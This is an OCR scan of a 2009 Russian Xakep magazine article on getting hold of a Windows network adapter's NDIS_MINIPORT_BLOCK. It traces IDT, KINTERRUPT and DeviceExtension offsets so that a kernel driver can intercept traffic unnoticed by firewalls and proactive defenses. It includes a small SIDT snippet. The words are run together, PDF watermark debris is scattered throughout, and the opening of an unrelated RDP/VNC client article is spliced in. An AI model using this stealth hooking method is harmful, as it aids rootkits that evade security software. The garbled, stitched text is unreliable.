g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

что, кактыпомнишь, NDIS именнотакипереводится— «Network Driver Interface Specification», тобишь— «спецификацияинтерфейсасетевогоустройства». Впрочем, заболееподробнымописаниемдействий разработчиковяотсылаютебякMSDN. Внастоящеевремяактуальной являетсякакNDIS 5.1 (w2k/XP/2003), таки6.0 (дляWindows Vista).

МИНИПОРТИВСЕ-ВСЕ-ВСЕ

ВядреминипортсетевойкартыпредставленввидеструктурыNDIS_ MINIPORT_BLOCK. ОназаполняетсякучейвсяческихданныхприрегистрацииминипортавызовомсистемнойфункцииNdisMRegisterMiniport. Этотвызовпроисходитвдрайвересетевойкартыприегозагрузке. NDIS_MINIPORT_BLOCK — однаизсамыхважныхструктурприработе ссетьюнанизкомуровне(науровнесетевойкарты). Описаниеееполей тыможешьнайтивхидере«ndis.h», нонадежнеебудетсдампитьее

изфайласимволовndis.pdb утилитойтипаpdbdump (http://pdbdump. sourceforge.net), потомучтоееструктураможетменятьсяотбилдакбилду ОСисильнозависитотверсииNDIS. ВэтойстатьеподразумеваетсяиспользованиеNDIS версии5.1.

Темнеменее, решая, например, задачифильтрации, мелкомягкие товарищистрогорекомендуютограничиваться«законными» идокументированнымиспособамифильтрованиясетевоготрафика, поскольку этаструктуракритическиважнадляжизнедеятельностиОСWindows и лишнийразеетрогатьнестоит. Нозапретныйплодсладок. Поэтомускажусуверенностью, чтовсесамоевкусноедляхакерасодержитсяименно вNDIS_MINIPORT_BLOCK. Кпримеру— функцияPacketIndicateHandler,

котораяуведомляетдрайверпротокола, чтомассивполученныхпакетов доступендлядальнейшейобработки, ипередаетейуказательнаданный массив.

«ТакпочемубынеполучитьуказательнаэтотсамыйNDIS_MINIPORT_ BLOCK идальшеработатьсним?», — спросишьты. Всязагвоздкав том, чтодляэтогонужносовершитьоченьмноготелодвиженийвядре Windows. Онибольшенапоминаюттанецслонавпосуднойлавке, что, естественно, непройдетнезамеченнымдляфайрвола. Скажем, извест-

СТРУКТУРАKINTERRUPT

ныйлегальныйспособполучениятакогоуказателявобобщенномвиде сводитсяквызовуNDIS-функцииNdisRegisterProtocol, — онавсегда перехватываетсяфайрволами, проактивнымизащитамииантивирусамивсехмастей. Чтоженамделать?

ВПОИСКАХУТРАЧЕННОГОKINTERRUPT’А

Еслиужнедаютпощупатьминипортнапрямую, то... поговоримопрерываниях. Да-да, именноопрерываниях. Речьпойдетнеопрямомперехватепрерываниядлясетевогоадаптера, — мыкопнемгораздоглубже. Кактызнаешь, всепрерываниявОСWindows представленывядре

ввидетаблицыдескрипторов(векторов) прерыванийIDT(Interrupt Descriptor Table). Пригенерированиипрерыванияядропросматривает IDT ипономерупрерыванияпередаетуправлениепоадресу, соответствующемуномерупрерывания. ПросмотретьIDT можно, кпримеру, черезотладчикWinDBG припомощикоманды«!idt –a» — онавыведетна экрандампIDT.

ПрограммнымспособомзагрузкаIDT осуществляетсявызовомассемблернойкомандыsidt иможетвыглядетьтак:

ДАМПИМIDT

typedef struct _IDT{ WORD wLimit; DWORD dwBase;

}IDT, *PIDT;

VOID GetIDT(OUT PIDT pIdt){ __asm

{

MOV EAX, [pIdt] SIDT [EAX]

}

}

Думаю, кодпонятенбезслов: мыполучилиIDT вовсейкрасе. Ночтодальше? Еслиприглядетьсявнимательнее, томожноувидеть, чтонасамом делепривызовепрерываниясистеманевызываетфункциюпрерывания«железки» напрямую— преждеонадолжнапозаботитьсяомногих другихвещах. Систематакиделаетпутемначальноговызовафункции

KiInterruptTemplate.

АрхитектураОСWindows подразумевает, чтопривызовесистемной функцииKiInterruptTemplate системадолжнасохранитьконтекст потокаитолькозатемвызватьфункциюобработкипрерывания

XÀÊÅÐ 09 /129/ 09

105

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

CODING

w Click

 

 

 

 

 

m

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

ТАБЛИЦАПРЕРЫВАНИЙIDT

ISR ДРАЙВЕРАСЕТЕВОЙ КАРТЫ И

ЕЕ KINTERRUPT

 

HTTP://WWW

links

Чтобылучше ориентироваться вядрокопаниина сетевомуровнеине

только, советуюсетевойжурналPhrack за номером0x41. Адля лучшегопонимания работысистемного механизмаDPC, рекомендуюстатью

«Advanced DPCs»

М.Руссиновича

(http://technet. microsoft.com).

DVD

dvd

Надискележатисходникидрайверов, реализующихприемы программирования, исследуемые встатье, атакжетул-

зы, которыепомогут тебевизученииядра.

KiDispatchInterrupt, которойвкачествепараметрабудет передансохраненныйуказательна«объектпрерывания», представленныйоченьинтереснойструктурой

KINTERRUPT.

ИтолькозатемпередаетсяуправлениеISR той«железки», котораясгенерировалапрерывание. ЕслидиззасемблироватьфункциюKiInterruptTemplate, тоименноэтомыи увидим.

ПлясатьбудемотструктурыKINTERRUPT, темболее, она встречаетсякаквNDIS 5.1, такивNDIS 6.0 идлязавладенияядромнамнужнополучитьуказательнанее. Какэтого добиться?

Прощевсего— пополученномууказателюнафункцию KiInterruptTemplate (частоэтоиестьвыдранныйадресиз IDT), диззассемблироватьегонапредметпоискаинструк-

ции«mov edi, PKINTERRUPT». Еслинайдем, тодалее можносделатьследующее: запомнитьадресKINTERRUPT

ипереходитьковторомуспособу(описанномуниже) либо заменитьреальныйKINTERRUPT насвойсобственный, подменивтусамуюфункциюDpcForIsr — функциюотложеннойобработкипрерывания. Такмыполучимдоступк данным, пришедшимпосети. Здесьрассматриватьспособ подменыDpcForIsr мынебудемиз-заегогромоздкости. Болееподробноонемможнопрочитатьвстатье«Stealth Hooking: another way to subvert the Windows kernel» (http:// phrack.org).

Наслучай, еслимыненашлиKINTERRUPT минипортасетевогоадаптера, самоевремявспомнить, чтопомимовсего прочего, вядресуществуетпеременнаяInterruptListEntry. ОнапредставляетсобойкруговойсписокLIST_ENTRY, содержащийвсебевсеуказателиназарегистрированныевсистеместруктурыKINTERRUPT. Достаточнонайти первыйпопавшийся, адалее— ULONG KINTERRUPTLink

=(ULONG)&(((PKINTERRUPT)(AddressHandler))- >InterruptListEntry), гдеAddressHandler естьадреслюбой структурыKINTERRUPT всистеме.

Нуикаквариантнапоследок— можновядреперехватить

идизассемблироватьфункциюобработкипрерываний

KiDispatchInterrupt; ейвкачествеодногоизпараметров передаетсяуказательнаKINTERRUPT. Этоотнюдьнелегкий способ, посколькутребуетотличногознанияработысистемыпрерыванийвядреWin.

Вот, впринципе, ивсе. ПосленахожденияоднимизприведенныхспособовKINTERRUPT, относящегосякпрерываниюсетевогоадаптера, можносчитать, чтосетеваякартау насвкармане.

УДАЛЕНИЕГЛАНДЧЕРЕЗ…

Итак, мыовладелиKINTERRUPT. Заметь, несделалипри этомничеготакого, чтомоглобыпривлечьвниманиебдительныхпроактивок. Чтодальше?

ЕслиМухаммеднеидеткгоре, значит, гораидеткМухаммеду. Такпоступимимы, чтобызаполучитьвожделенный

NDIS_MINIPORT_BLOCK.

ВядреWindows значительноеколичествоклассовэлементовпредставленыввидеустройств(да, девайсов), причем этокасаетсянетолькофизическихустройств, ноиустройств виртуальных. Тип«устройство», кпримеру, имеюттакие эфемерныевещи, какпротоколысети— TCP, IP, UDP — вид «\Device\Tcp». Просмотретьсписокдевайсов, зарегистрированныхвсистеме, можноспомощьюзамечательной утилиты«Windows Object Explorer» отFour-F.

Едемдальше. Находясьвнезнакомойобстановкеинезная имениосновногосетевогодевайса, соответствующего сетевойкарте, минипортнайтибудетдовольносложно. Но, комбинируяприведенныездесьспособы, можносопределеннойдолейвезениявсежедобитьсясвоего. Реализуемследующийалгоритм: сначаланаходимвсезарегистрированныедевайсывсистеме, открывдиректорию

«\Device». Вциклеполучаемуказателинадевайсывызовом ObOpenObjectByName; пополученномууказателювызовом

ObReferenceObjectByHandle иIoGetDeviceObjectPointer

получаемуказательнаDEVICE_OBJECT, азатемоставляем те, которыеимеюттип, равный0х17, тоестьFILE_DEVICE_ PHYSICAL_NETCARD. Такимобразом, мыполучимвсе устройства, относящиесяксетевомуинтерфейсусисте-

106

XÀÊÅÐ 09 /129/ 09

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

w Click

 

 

 

 

m

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

СПИСОКУСТРОЙСТВ, УСТАНОВЛЕННЫХ В СИСТЕМЕ

мы. Оговорюсьсразу, девайсовстипомFILE_DEVICE_ PHYSICAL_NETCARD всистеме, как правило, несколькои, чтобынайтинужный, придетсяихотфильтровывать. Например, поименидрайвера, котороехранитсявполеDRIVER_ OBJECT.DriverName посмещениюDEVICE_OBJECT + 0x8. А

вотужедальше, скомбинировавполученныеранеезнания, можнонайтинужныйнамминипорт. Вседеловтом, что правиладизайнаWDM (Windows Driver Model) требуютот разработчикадрайверовсозданиянекойструктурыпод названием«Device Extension», гдепрограммистдолжен хранитьпеременные, поляиструктуры, описывающиету илииную«железку», подкоторуюпишетсядрайвер.

Еслиприсмотреться, товструктуреDEVICE_OBJECT по смещению0x28 имеетсяполетипаvoid*, которое, собственно, иуказываетнасозданнуюразработчикомструктуру DeviceExtension. Тольконеследуетеепутатьс«официально прикрепленной» структуройDEVOBJ_EXTENSION, которая идетдалее, посмещению0хb0. Чтоэтонамдаст? Атеперь внимание: какнепреложноеправило, разработчикивуказаннойструктуресохраняютполученныйвходеинициализацииминипортауказательнаструктуруNDIS_MINIPORT_ INTERRUPT (которыйвозвращаетсявызовомфункции NdisMRegisterInterrupt). Есливсвоюочередьпосмотреть наэтуструктуру, томыувидим, чтопосмещению0x34 находитсяискомыйуказательнаNDIS_MINIPORT_BLOCK. ПричемтутполученныйранееадресKINPTERRUPT? Если ещеразглянутьнаNDIS_MINIPORT_INTERRUPT, толегко увидеть, чтопервоеполевэтойструктуреиестьуказатель наKINTERRUPT. Выходит, найдяразыменованныйадрес KINTERRUPT, можнозаполучитьуказательнаNDIS_ MINIPORT_INTERRUPT… адальше— всепросто: добавляем

0x34 иполучаемуказательнаNDIS_MINIPORT_BLOCK.

Подведячертувышеизложенномубредувоспаленногосознания, мыполучимфинальныйалгоритм: ищемуказательна

DEVICE_OBJECT стипомFILE_DEVICE_PHYSICAL_NETCARD,

находимуказательнаDeviceExtension и, начинаясданного адреса, шаримсяпопамятивпоискахразыменованного PKINTERRUPT, полученногооднимизвышеприведенных способов. Еслинаходим— радостноидемпитьпиво. Если нет— чтоже, можетбыть, сегоднянеденьБэкхема.

ЗАКЛЮЧЕНИЕ

Нескрою, способсложнореализуем, ненадеженитребует определеннойдоработки. Ктомуже, онгодитсятолькодля драйверовминипортаверсииNDIS 5.1. Еслитыиспользу-

ешьVista, тамужебудетвызовNdisMRegisterInterruptEx,

которыйдействуетнемногопо-другому. Нообэтоммы поговоримпозже. Всвязисдовольнобольшимобъемом кода, приводитьегоздесьнепрактично, поэтомудрайвер, реализующийуказанныйприем, ищинадиске.

Чтожемыполучиливрезультате? Мыполучилибольшой бонус— драйвер, способныйперехватыватьиконтролироватьсетевыеоперациивядреикорректироватьихпомере необходимости. Приэтоммынезатронулитекритически важныедляоперационнойсистемывещи, которыеобычно контролируютсяпроактивнымизащитами. Получилосьне толькооченьэлегантно, новполнеработоспособно. Яне ставилцельюпредоставитьтебеготовоерешение, алишь хотелпоказать, чтодажевсамыхсуровыхусловияхможно найтидлясвоейпрограммыспособвыживаниявсистеме. Все, чтодляэтогонужно— задатьсебевопрос: «Ачто, если...?». Удачи! z

INFO

info

Обязательносоветуюустановить

VisualDDK, которая здоровопомогает приразработке драйверов(http:// sourceforge.net/ projects/visualddk).

Еетытакжесможешь найтинадиске. Еслиестьвопросы— пиши, обсудим.

WARNING

warning

Рассматриваемый встатьекодсправед-

ливдляW2k/XP/2003. ВWindows Vista эти приемыработатьне будут.

XÀÊÅÐ 09 /129/ 09

107

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

to

 

 

 

 

 

CODING

 

w Click

 

 

 

 

 

m

ИГОРЬ АНТОНОВ ANTONOV.IGOR.KHV@GMAIL.COM, WWW.VR-ONLINE.RU

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

АДМИНИМ ПО-КОДЕРСКИ

МассовоепроизводствоRDP иVNC клиентов

Намоейосновнойработемнеприходитсязаниматьсяадминистрированиемсерверовирабочихстанцией, работающихподуправлением Windows/Linux. КсерверамяпривыкподключатьсячерезстандартныйRDP, адлясоединениясрабочимиместамипользователейчаще предпочитаюиспользоватьоднуизмодификацийVNC.

ФункциональностьRDP иVNC меняполностьюудовлетворяет, заисключениемодного«но». Приинтенсивной работемойрабочийстолзахламляетсякопиямиприложенийTightVNC иmstsc. Бывает, работаешьстремя

серверами, атуттебезвонитпользовательислезнопроситпомочь. Хочетсяилинет, априходитсясворачиватьокнаmstsc изапускатьконсольTightVNC. Врезультате, рабочийстолбыстропревращаетсявхаос, состоящийизоткрытыхоконmstsc иTightVNC. Найтивтакомбардаке окноснужнымсеансомкрайнепроблематично.

Однаждыменявсеэтоокончательнодостало, иярешилвочтобытони сталоисправитьситуацию. Чтоизэтогополучилось, тыузнаешьпоходу чтенияэтойстатьи.

ПУТЬСМЕРТНОГО

Пожалуй, самымпростымспособомрешенияпроблемыбудетпоиски внедрениеготовогоклиента-комбайна, поддерживающегопротоколы RDP иVNC. Способ, несомненно, хорош, аглавное, временинаегореализациюпрактическинетратится. Утилитпрудпруди, успевайтолько

выбирать. Но, отдаваяпредпочтениеготовомусофту, тыавтоматически становишьсяобладателемвсехегоплюсовиминусов. Средиосновныхминусовобычновыступаетцена. Продвинутыйсофтстоитденег, а бесплатныйредкообладаетвсеминеобходимымифункциями. Всвое времяменяэтонеустроило, иярешилпойтипонетоптанойдорожке.

ПУТЬДЖЕДАЯ

Вооружившисьсишарпом, язадумалсоздатьклиент, способныйподдерживатьподключенияпопротоколамRDP иVNC. Решитьпроблему открытыхоконязапланировалспомощьюхорошопроверенногометода

— использованиявкладок. Ачто? ВсеWEB-браузеры, втомчислеи хромойосликИА, открываютновыестраницывотдельномтабе. Юзеры фичейдовольны, иужениодногоизнихнезаставишьотнееотказаться. Темболее, взаголовкетабаможнопрописыватьназваниесервера.

RDP

ДляорганизацииподдержкипротоколаRDP обратимсязапомощью кCom-компоненту— Microsoft RDP Client. Пользоватьсякомпонен-

108

XÀÊÅÐ 09 /129/ 09

Соседние файлы в папке журнал хакер